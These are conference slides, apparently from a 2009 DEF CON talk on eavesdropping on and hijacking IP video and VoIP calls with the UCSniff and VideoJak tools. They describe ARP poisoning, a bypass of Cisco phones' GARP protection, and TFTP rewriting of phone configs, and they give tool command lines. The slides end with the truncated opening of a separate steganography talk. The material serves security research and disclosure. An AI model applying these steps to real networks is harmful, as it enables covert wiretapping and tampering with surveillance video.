Web: http://security.org
Blog: http://in.security.org | pdf |
Advancing Video Attacks
with video interception, recording, and replay
Defcon 17
July 31st, 2009
Jason Ostrom
Arjun Sambamoorthy
© 2008 Sipera Systems, Inc. All Rights Reserved.
Agenda
Introduction
Overview of UC
Live demo of Video Eavesdropping
Live demo of Video Replay and Video Hijack
VoIP Pentesting trick
Conclusion
DefCon 17
2
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Introduction
About VIPER Lab
VIPER ~ Voice over IP Exploit Research
Security research lab dedicated to finding
New UC / VoIP attack vectors
Structural vulnerabilities in insecure protocol / deployment /
configuration
Penetration testing team specialized in VoIP / UC Security
Passionate about VoIP / UC Security
Replicated a production, enterprise network in VIPER Lab
Security assessment professionals supported by research and
exploit developers
DefCon 17
3
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Introduction
Who we are
• Jason
• Arjun
DefCon 17
4
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Agenda
Introduction
Overview of UC
UC Definition
UC Business Cases
New UC Attacks
Live demo of Video Eavesdropping
Live demo of Video Replay and Video Hijack
VoIP Pentesting trick
Conclusion
DefCon 17
5
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
What is UC?
Unified Communications
Voice (VoIP)
Video (IP Video)
Presence and IM
CTI (Computer Telephony Integration) –
Desktop Integration
Unified Messaging
Voice mail and Email in the same Inbox!
DefCon 17
6
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
The Business Risk
Today our presentation will focus on IP Video exploits
Low awareness as to security threats
• Security practitioners and IT managers are being pulled into projects
to support these new video deployments. But until now, no tools
have existed for carrying out testing of IP video vulnerabilities.
Video application rollouts as a business driver and ROI
But what about security?
• Can an attacker gain privileged access to IP data network through
Video infrastructure?
• How can the IP network be exploited through addition of new video
applications?
• How can the video applications themselves be attacked?
DefCon 17
7
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Real-world Business Examples
IP Video
Private IP Video Calling
Video Conferencing, or “Telepresence”
IP Video Surveillance
Video Streaming Applications
IP TV
Others?
DefCon 17
8
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
IP Video Business Case
IP Video
Private IP Video calls between individuals
IP Video Handsets (hard phones)
IP Video soft phone applications
Many drivers for enabling the business with increased
productivity, cost-savings, and enhanced features
Allows remote workers to communicate “in person”
DefCon 17
9
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Telepresence Business Case
Telepresence
HSBC rollout: Saved company US $604,000 in air travel bills
DefCon 17
10
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Telepresence Business Case
Telepresence
Wachovia: Reduced air travel bills as a result of Telepresence solution
DefCon 17
11
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
IP Video Surveillance Case
IP Video Surveillance
IP-based Video Surveillance systems
Video Analytics applications
Government, Military, Banks, Casinos, Museums
DefCon 17
12
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
IP Video Streaming Applications:
Business Case
IP Video Streaming Applications
Entertainment venues
Professional sports stadiums
Real-world examples
“America’s Team”
DefCon 17
13
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Cowboys Stadium
DefCon 17
14
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Cowboys Stadium
DefCon 17
15
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Cowboys Stadium
DefCon 17
16
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Cowboys Stadium Details
Price Tag: US $1.1 Billion Dollars
Cisco Connected Sports Technologies
Cisco StadiumVision
Integrates hi-def video, audio, and digital content into interactive services for fans
New revenue streams in advertising with targeted and tailored promotions to HDTV
All video traffic carried over IP Network
240 miles of fiber optic cable
2,800 TV Monitors
Each TV Monitor has an IP address
Concession stand menus
TVs in suites
Electronic advertising signs
DefCon 17
17
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Cowboys Stadium Details
180 Wireless Access Points
Technology Conference Room, Technology Auditorium
Technology providers can bring their clients to hold meetings and demo products
Enough bandwidth to send Hi-Def video from the game to
Cowboys Valley Ranch video editing studio, then back to Arlington
during halftime. The highlights will be played on the new
stadium’s video screens.
(2) 60-yard-long HDTV Video boards are largest in the world
Manufactured by Mitsubishi
US $40 Million dollar price tag
RFID imbedded bracelets for children, so parents can quickly
locate them
DefCon 17
18
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Yankee Stadium
DefCon 17
19
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Toronto Blue Jays
DefCon 17
20
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
New UC Attacks
Video Replay
Example 1: Video replay against an IP video surveillance system by
playing a safe video stream, creating a “blind camera” scenario.
Malicious events transpire while human operator can’t see what is
really happening.
Example 2: An attacker can intercept a live video conference
presented by the CEO, and replay the CEO’s previous conference,
or a private video session he had with the CFO, in which he told the
CFO that they would have layoffs.
DefCon 17
21
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
New UC Attacks
IP Video Hijack (Video interception)
A Video interception DoS attack in which we can target a uni-
directional RTP video stream, or target specific video endpoints in
the middle of a SIP or SCCP video call.
Example 1: In the middle of a high-profile sporting event, the
attacker can play a random movie clip (including porn).
Example 2: In the middle of an important video conference, the
attacker intercepts the video stream to play a random movie clip,
(including porn).
DefCon 17
22
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
New UC Attacks
Video Eavesdropping (Video Recording)
Example 1: Eavesdropping on a private IP video call between the
CFO and CEO.
Example 2: Eavesdropping on a video conference.
Example 3: Re-constructing a safe video stream to play in a loop
against a video surveillance camera.
DefCon 17
23
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Agenda
Introduction
Overview of UC
Live demo of Video Eavesdropping
Overview
Requirements
Live Demo: UCSniff Version 3.0
Live demo of Video Replay and Video Hijack
VoIP Pentesting trick
Conclusion
DefCon 17
24
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
UCSniff 1.0
Released November 2008
• Website: http://ucsniff.sourceforge.net
• Follow UCSniff on Twitter: http://twitter.com/ucsniff
First Sniffer software to support new G.722 audio codec
Combined the following features together, to more rapidly test for
eavesdropping:
• MitM ARP Poisoning
• Automated VLAN Discovery and VLAN Hop
• Auto re-construction of forward, reverse media into single WAV file
Target Mode
• We can intercept and log Skinny keypad messages
• Theft of voice mail passwords
DefCon 17
25
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
UCSniff 1.0
Code design links signaling (SIP, SCCP) and RTP media together
• Recording starts via SIP or SCCP message
• Dynamically adds an RTP dissector when call starts
• Closes RTP dissector when call ends
Result of this Design: We can tell who is calling, not just a random
IP address or media stream. I don’t like to spend a lot of time
looking through media files. We log who and when into the file.
In security testing, time is money; therefore, you have to move
fast. UCSniff wraps all necessary features into a single tool.
DefCon 17
26
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
UCSniff 1.0
ACE Corporate Directory download feature
• Can target VoIP users based on name and extension
DefCon 17
27
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
UCSniff 2.0
Released February 2009
First IP Video Sniffer / IP Video eavesdropping security tool
Supports H.264 Video Codec
DefCon 17
28
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
UCSniff 2.1
Released April 2009
Eavesdropping on Microsoft OCS IM Conversations
Support for Avaya SIP
Enhanced ARP Poisoning with Unicast ARP Requests
Support for G.711 a-law Codec
DefCon 17
29
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
UCSniff 2.1 GARP Research
Credit: Harsh Kupwade
We researched the way different IP Phones respond to Gratuitous
ARP via the traditional method of unicast ARP reply packets.
Successful ARP Poisoning is the basis for the MitM condition.
Cisco 7985 Video Phones can’t be ARP Poisoned unless running
UCSniff for 10 minutes. We found a new way: spoofed unicast
ARP requests allow immediate ARP Poisoning. 100% effective.
Avaya IP Phones will not respond to unicast Gratuitous ARP Reply
packets (traditional method). Unicast ARP requests are 100%
effective, immediately.
Cisco Unified IP Phones have a “GARP Disabled” security feature.
We didn’t address this until UCSniff 3.0. We can now bypass it.
DefCon 17
30
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
UCSniff 3.0
Release August 2009 (tentative)
Creation of GUI using JUCE
Port of UCSniff to Windows OS
• Windows VLAN support complete
Real time Video Monitor (tentative)
Cisco UCM 7.0 and 7.1 support for Skinny messaging
GARP Disablement Bypass feature
TFTP MitM Feature to modify IP Phone settings
DefCon 17
31
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
UCSniff 3.0 GARP Disabled
What is “GARP Disabled”?
• A feature in Cisco Unified IP Phones.
• GARP Disabled is default for all new CUCM installations
• GARP Disabled means that the IP Phone doesn’t populate its ARP
cache when an attacker sends spoofed, Unicast ARP Reply
packets.
DefCon 17
32
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
UCSniff 3.0 GARP Disabled
No successful ARP Poisoning = no MitM condition
With GARP Disabled, we can’t ARP Poison the connection from IP
Phone
Network. We can, however, ARP Poison the connection
from Network
Phone.
At best, we can only receive ingress RTP media stream from
network inbound to IP Phone.
DefCon 17
33
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
UCSniff 3.0 GARP Disabled
GARP Disabled is a “Security feature” that is advertised in Cisco
best practices, which can defeat a casual attacker to run MitM.
Observations on the way Cisco Unified IP Phones behave with
ARP requests when “GARP Disabled” is in effect
• When IP Phone boots, sends ARP request to communicate to
remote IP gateway, for the traffic communicated to CUCM
• Doesn’t send ARP request for remote RTP peer until it receives
SCCP StartMediaTransmission message
Winning the “Race Condition”
• It is difficult to Poison the ARP request that the phone sends as it
boots up, for the IP gateway (to send traffic to remote server)
• However, during an active call setup, we can predict when the IP
Phone will ARP for its remote RTP peer.
DefCon 17
34
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
UCSniff 3.0 GARP Disabled
UCSniff 3.0 has a new feature, GARP Disablement Bypass:
• ucsniff –i eth0 --garpdb // //
The way it works:
1.
When a call is starting, UCSniff intercepts the ‘StartMediaTransmission’ message
sent from UCM IP Phone (since we are MitM from network IP Phone)
2.
UCSniff learns the IP address of both RTP peers. This is how the IP Phone knows
who to talk to on the remote end.
3.
UCSniff builds a spoofed unicast ARP reply packet, if the phone is on our source
VLAN
4.
We flood the IP Phone with spoofed unicast ARP reply packet
5.
Cisco Unified IP Phone sends an ARP request for valid remote RTP peer
6.
Cisco IP Phone receives spoofed unicast reply packet from UCSniff before it
receives the legitimate reply from the valid IP Phone
7.
Flooding continues for a threshold of microseconds after legitimate reply
8.
The IP phone populates its ARP entry with the spoofed entry
9.
UCSniff wins the race condition, ARP Poisoning the IP Phone
DefCon 17
35
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
UCSniff 3.0 GARP Disabled
Impact of this
• If both IP Phones are in the same VLAN as attacker, we can
successfully ARP Poison both IP Phones, and receive bi-directional
RTP media
• If IP Phone is communicating to an RTP peer in remote network, we
can still only receive RTP media stream from remote peer inbound
to IP Phone
DefCon 17
36
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
UCSniff 3.0 GUI
We used JUCE Libraries to create UCSniff GUI
• Website: http://www.rawmaterialsoftware.com
• “JUCE (Jules' Utility Class Extensions) is an all-encompassing C++
class library for developing cross-platform applications”
• “It's particularly good for creating highly-specialised user interfaces
and for handling graphics and sound.”
Many props and thanks to Julian Storer
We wanted nice bells, dials, and whistles for video eavesdropping
Very easy to create GUI application using the JUCER & Demo App
We wanted a cross-platform C/C++ application so that UCSniff GUI
can look the same way in Mac, Linux, and Windows.
DefCon 17
37
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
UCSniff Windows Port
Porting UCSniff Linux to Windows
• MinGW (Minimalist GNU for Windows)
- http://www.mingw.org/
• Port of GNU GCC and GNU Binutils for development of native
windows applications
Creating Voice VLAN interface on Windows
• Developed the following two drivers using WinDDK (Windows Driver
Development Kit)
- NDIS protocol driver
- IM (Intermediate) driver
We will release the windows VLAN drivers as a separate package
along with UCSniff 3.0
DefCon 17
38
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
NDIS Protocol Driver
NDIS (Network Driver Interface Specification) protocol driver, for
setting and querying the 8021Q tag on Ethernet interface.
NDIS protocol driver, to send and receive raw network packets on
Windows.
DefCon 17
39
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Installing Ndisprot
Using ProtInstall - NDISPROT Driver Installer
• http://www.ndis.com/papers/ndisinstall/programinstall.htm
DefCon 17
40
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Starting Ndisprot service
Execute “net start ndisprot” to start the service
All these steps will be automated before the official release of
UCSniff 3.0
DefCon 17
41
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
IM (Intermediate) Driver
IM driver creates a virtual interface for both the wired and wireless
interfaces
The virtual interface will be tagged with the Voice VLAN ID
DefCon 17
42
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Installing IM driver
Added support for installing/uninstalling IM driver, on NDISPROT
Driver Installer (ProtInstall)
DefCon 17
43
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Video Decoding Support
Decodes H.264 content from RTP
Compliant with RFC 3984 (RTP payload format for H.264 video
codec)
Creates a raw H.264 video only file, playable on VLC and Mplayer
FFMpeg libraries
• AVI Container
• Muxing audio and video
DefCon 17
44
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
UCSniff Overview
DefCon 17
45
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
PSTN
Internet
Enterprise
IP
PBX
Voice VLAN
Data VLAN
UCSniff
ARP
ARP
ARP
Unplug
Plug
Call
Media
© 2008 Sipera Systems, Inc. All Rights Reserved.
UCSniff Live Demo
Targets: (2) Cisco 7985 Video phones
DefCon 17
47
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Agenda
Introduction
Overview of UC
Live demo of Video Eavesdropping
Live demo of Video Replay and Video Hijack
Overview
Requirements
VideoJak Live Demo
VoIP Pentesting trick
Conclusion
DefCon 17
48
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
VideoJak 1.0 – HiJacking IP Video
Released February 2009 ~ Credit: Abhijeet Hatekar, Author
• Website: http://videojak.sourceforge.net
• Follow VideoJak on Twitter: http://twitter.com/videojak
First security assessment tool to support H.264 video codec
First version can run a targeted DoS against an IP video
conversation using Cisco 7985 IP Phones
DefCon 17
49
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
VideoJak 1.1
Will be released August 2009 (tentative)
New features:
• Video Replay in a continuous loop, using AVI file
• Video DoS attack against a video endpoint, using AVI file
• Can replay a previous IP video call conversation using raw H.264
container
DefCon 17
50
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
VideoJak Development
Finding a valid H.264 RTP stream
• Easy to find an H.264 RTP stream, if we can intercept the signaling
(SIP/Skinny/RTSP/SDP) that negotiates the RTP port and other
codec parameters.
• Signaling and session negotiation takes place only once and it does
not happen very frequently.
• Particularly, in case of IP video surveillance, media could be
streamed to the monitoring end point for days without any signaling.
• We came up with a module to intelligently detect an RTP stream
based on the:
- IP and UDP parameters
- RTP Version
- Payload Type
- SSRC
- Monotonically increasing sequence number and timestamp
DefCon 17
51
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
VideoJak Development
Sample capture showing a session getting established between IP
video surveillance camera and a monitoring end point.
DefCon 17
52
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
VideoJak Development
H.264 payload format and fragmentation
•
Four types of H.264 RTP payload formats. (Single NALU, FU, STAP, MTAP)
•
If the H.264 payload size exceeds the MTU, the payload gets fragmented at the
H.264 level . These H.264 format are called FU-A or FU-B.
•
Some H.264 clients like Cisco 7985 don’t handle FU-A or FU-B H.264 payload
formats.
•
For Cisco 7985 phones, VideoJak automatically converts FU type payload to Single
NALU payload type and fragments them at the IP level.
FFMpeg libraries
•
To convert the AVI and raw H.264 file to RTP media stream
•
The converted RTP media stream headers are initialized with the:
-
Original RTP stream’s SSRC
-
Payload Type
-
Incremented sequence and timestamp values
-
Spoofed source IP and UDP port of valid video sender
DefCon 17
53
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
VideoJak Overview
Target an H.264 RTP Video stream
• Select the 1-way video stream
• Start attack, by dropping the valid RTP packets
Video DoS Exploit
• Select the AVI or H.264 raw file
• Use Libnet to construct the H.264 RTP packet
• Use SSRC, timestamp, and other values of dropped packet
• Video interception can be a replay or random movie clip
• Target video device and send AVI file on destination RTP port
DefCon 17
54
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Video
ARP
Video
Video
Video
© 2008 Sipera Systems, Inc. All Rights Reserved.
VideoJak Target
Cisco 4300 Series IP Camera
DefCon 17
56
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
VideoJak Targets
Cisco 4300 Series IP Camera
• Cisco “Physical Security” solutions portfolio
• 1080p High Definition (HD) Video
• Uses RTP to stream H.264 compressed frames
• Uses RTSP for port negotiation
• Supports security features such as SRTP and 802.1x
• 10/100 FE with PoE, or wireless
• Web application (Active X control) for remote viewing from PC
• Video Analytics: 4500 series supports DSP-based, programmable
Purchased from Cisco reseller specializing in Video surveillance
• EYESthere http://www.eyestheredfw.com
For this demo, we will target the uni-directional RTP stream from
the IP camera to our demo laptop.
DefCon 17
57
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
VideoJak Tool Demo
DefCon 17
58
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Agenda
Introduction
Overview of UC
Live demo of Video Eavesdropping
Live demo of Video Replay and Video Hijack
VoIP Pentesting Tricks
• Stealth Target Mode
• Story of modify IP Phone settings
Conclusion
DefCon 17
59
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
The Ultimate UCSniff Trick
This is the ultimate stealth UCSniff trick that can have you
eavesdropping a targeted user with the least risk of service
impact.
•
So smooth and stealth, even a Ninja would be impressed
First, you need to know the IP address of target IP Phone. If you
know the IP address, skip this step.
You don’t have to ARP Poison all of the traffic.
You don’t have to walk into the cube of the targeted user and look
at their phone, learning the MAC Address of the IP Phone.
There is a clandestine way to learn this information remotely.
DefCon 17
60
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Find IP Address of remote IP Phone
To clandestinely find the IP address of remote IP Phone:
•
Share a hub with laptop and IP Phone
•
Sniff traffic with Wireshark
•
Call remote User (Via corporate directory, Intranet)
•
Remote called party must pick up – Remote Phone must go offhook
•
Decode RTP Packets to find remote IP address
•
Wireshark RTP filter will find IP address
DefCon 17
61
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Create Targets Entry
Manually create file targets.txt
•
Manually create file targets.txt, including IP address of discovered remote IP Phone
target
DefCon 17
62
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
UCSniff Target Mode
Run UCSniff in targeted user mode
•
Usually ‘ucsniff –i eth0 –c 1 –T’
•
Select Option 1 for Single User Mode
DefCon 17
63
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Select Targeted User
Select targeted user
DefCon 17
64
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
UCSniff Stealth Mode Targeted
Eavesdropping
UCSniff is now intercepting the traffic of only the targeted user’s
IP Phone. All calls to or from this user will be recorded.
•
Low risk of impact
•
Will not impact other IP Phone users
DefCon 17
65
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Background of a Live UC Pentest
VIPER Security Consultant onsite with client in Europe
Authorized penetration test against Cisco UCM 7.1 VoIP
environment
By default, GARP was disabled on all Cisco Unified IP Phones
For IP Phones calling each other in same VLAN, we could re-
construct RTP media with –garpdb feature of ucsniff
For IP Phones calling to remote VLANs, we could only re-construct
traffic in ingress direction due to “GARP disabled”
We couldn’t intercept Skinny keypad messages for theft of voice
mail passwords (as we could do before)
DefCon 17
66
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Background of a Live UC Pentest
The “GARP Disabled” feature was getting in the way of a very
successful pentest
DefCon 17
67
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Background of a Live UC Pentest
We had to figure a way to remotely Enable GARP on the IP Phone
We knew that:
• “GARP Enabled” is a setting that is managed via the server, by
specifying the configuration for that IP Phone
• Cisco Unified IP Phones download the configuration file via TFTP,
which tells the IP Phone how to configure itself
This configuration file is only downloaded when the Phone boots
up and registers via Skinny / SCCP protocol
Could there be a way for us to force the IP Phone to download this
configuration file, and somehow modify it?
DefCon 17
68
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Background of a Live UC Pentest
We figured out a method to do this via an automated process
We wrote a new feature of UCSniff that can remotely change the
configuration of an IP Phone, thus enabling GARP
This is done through the MitM engine of UCSniff, and we’ve called
it “TFTP MitM IP Phone modification” vector
This new feature will be included in UCSniff 3.0
In the following screen shots, UCSniff will step through the
required methods
Note: This method can be mitigated by applying security controls
to a default installation
DefCon 17
69
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Prepare UCSniff
We must first have physical access to port that is a member of the
Voice VLAN for the IP Phone we want to change (MitM Condition)
We should know the IP address for that IP Phone
First, create the targets.txt file with the IP address of the IP Phone
DefCon 17
70
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Launch UCSniff with new feature
Launch UCSniff with new feature:
•
ucsniff –i eth0 –Z –G –T
•
This can only run in Target Mode, against a single IP Phone
DefCon 17
71
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Step 1: Drop KeepAliveAckMessage
Cisco SCCP IP Phones use a KeepAlive/KeepAliveAckMessage as
a heartbeat mechanism, letting the IP Phone know it has a
connection to the server
The KeepaliveAckMessage is the response message sent from
CUCM to the IP Phone
Since we are MitM for any traffic from Network
IP Phone, we can
drop this message
UCSniff drops the KeepAliveAck Message from the server
IP
Phone
DefCon 17
72
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Step 2: IP Phone Registers,
downloads Configuration file
Since the IP Phone believes it has lost connectivity to the server, it
attempts to Register to CUCM
When the IP Phone registers, it downloads the configuration file
via TFTP
We intercept the served TFTP file via a UDP stream dissector in
UCSniff
UDP stream destined to IP Phone is dissected. We look for the
GARP setting within the UDP Stream
DefCon 17
73
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Step 3: Modify configuration setting
for GARP via UDP Stream
GARP Setting is changed over the network, from “GARP Disabled”
To “GARP Enabled”
DefCon 17
74
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Step 4: Cisco IP Phone parses new
configuration
Cisco IP Phone finishes download of Configuration file via TFTP
Cisco IP Phone parses new configuration, Enabling GARP
DefCon 17
75
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Summary
This happens in less than 30 seconds
• IP Phone will keep settings until it is rebooted
IP Phone will blank out when it loses registration for ~ 20 seconds
• If user is watching their IP Phone LCD, they might see the blankout
and lost registration
Pentest Trick
• Wait until employees go home for the day
• Target each IP Phone, Enabling GARP
• When employees arrive for work the next morning, they can be
targeted for VoIP / Voicemail eavesdropping
DefCon 17
76
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Summary
We can modify any IP Phone setting that is controlled by SEP
Configuration file
• We could add new features and modules for modification of IP
Phone configuration
In the absence of security controls, all Cisco Unified IP Phones are
vulnerable to this issue with UCSniff 3.0
As stated before, this can be mitigated by following Cisco Security
Best practices
• See the Cisco SAFE Architecture
• http://www.cisco.com/en/US/netsol/ns954/index.html
DefCon 17
77
Sipera Confidential - Do not reproduce or distribute without express written consent
© 2008 Sipera Systems, Inc. All Rights Reserved.
Contact Information
DefCon 17
78
Sipera Confidential - Do not reproduce or distribute without express written consent
Jason Ostrom, CCIE #15239 Security
• Director, VIPER (Voice over IP Exploit Research)
• [email protected]; [email protected]
Arjun Sambamoorthy
• Research Engineer
• [email protected]; [email protected]
For more information about Sipera VIPER Lab, visit us online at
http://www.viperlab.net
For more information about Sipera Systems, visit us online at
http://www.sipera.com | pdf |
A Picture is Worth a
Thousand Words, Literally:
Deep Neural Networks for Social Stego
Philip Tully | Mike Raggo
1
#whoami
2
Philip Tully
@phtully
Principal Data Scientist at ZeroFOX
PhD (KTH & University of Edinburgh)
Machine Learning and Neural Nets
Mike Raggo
@datahiding
CSO @802 Secure, 17 yrs Stego Research
StegSpy DC12, Author “Data Hiding”
NSA National Cryptologic Museum
DC25: Community, Discovery and the
Unintended Uses of Technology
3
2600: The Hacker Quarterly
4
Summer 1992
Summer 2017
25 years
A Picture is Worth a
Thousand Words, Literally:
Deep Neural Networks for Social Stego
The Evolution of Steganography
5
DIY Social Steganography
Deep Neural Networks for Social Stego
Data-Driven Red and Blue Teaming
Wrap Up
A Picture is Worth a
Thousand Words, Literally:
Deep Neural Networks for Social Stego
The Evolution of Steganography
6
Covert Communication
7
“. . . any communication channel that can be exploited by a
process to transfer information in a manner that violates the
system's security policy.”
Source: U.S. Department of Defense. Trusted Computer System
Evaluation “The Orange Book”. Publication DoD 5200.28-STD.
Washington: GPO 1985
WetStone Labs
Collected Steganography Programs
Since January 1999 Includes versions
8
Tools are
simple,
designed to
exploit sense
weaknesses
Many copycats are
born, with some
new features,
greater focus on
JPEG embedding
Methods
become
more
resilient to
statistical
attacks
Multimedia
begins to
evolve into a
viable
method
New versions emerge of
existing Alg.
Steganographic file
systems begin to emerge
VOIP, RTP and UDP
techniques emerge
along with decoys to
complicate detection
and recovery
Evolution of Methods
Social Media Stego
used in images and
URLs with malware,
CnC, and covert
communications
Evolution of Stego - Internet Era
9
▪ Stego Apps Decoy Techniques (OpenPuff)
▪ Stealth Alternate Data Streams (NT)
▪ Weaponized CnC - Operation Shady RAT
▪ Protocols - VOIP, RTP, UDP => WiFi StegoStuffing,
Bluetooth (Hosmer/Raggo - Wall of Sheep/Skytalks
DEF CON 23 & 24)
▪ SmartWatch SWATtackhide.py Tizen SDK - Mike
Raggo - DEF CON 23 Demo Labs & HackCon
▪ MP3 ID3 Metadata exploitation - Hosmer/Raggo
Skytalks DC24
Types of Steganography
10
▪ Text/Linguistic Stego - Natural Language
▪ Image
▪ Spatial (e.g. LSB)
▪ Frequency (DCT/DWT)
▪ Metadata (varies by file type and
versions) - JPEG EXIF vs. JFIF
▪ Audio
▪ Video
▪ Protocols
▪ Use of crypto with stego
▪ Vigenere, base64, XOR, etc.
TrendMicro
A Picture is Worth a
Thousand Words, Literally:
Deep Neural Networks for Social Stego
11
DIY Social Steganography
Social Network Photo Targets
12
▪Profile Image
▪Background Image
▪Posted Image(s)
▪Photo albums
▪DM images
▪Links to images on
other websites
Carrier Image File Types
13
▪ Image quality properties:
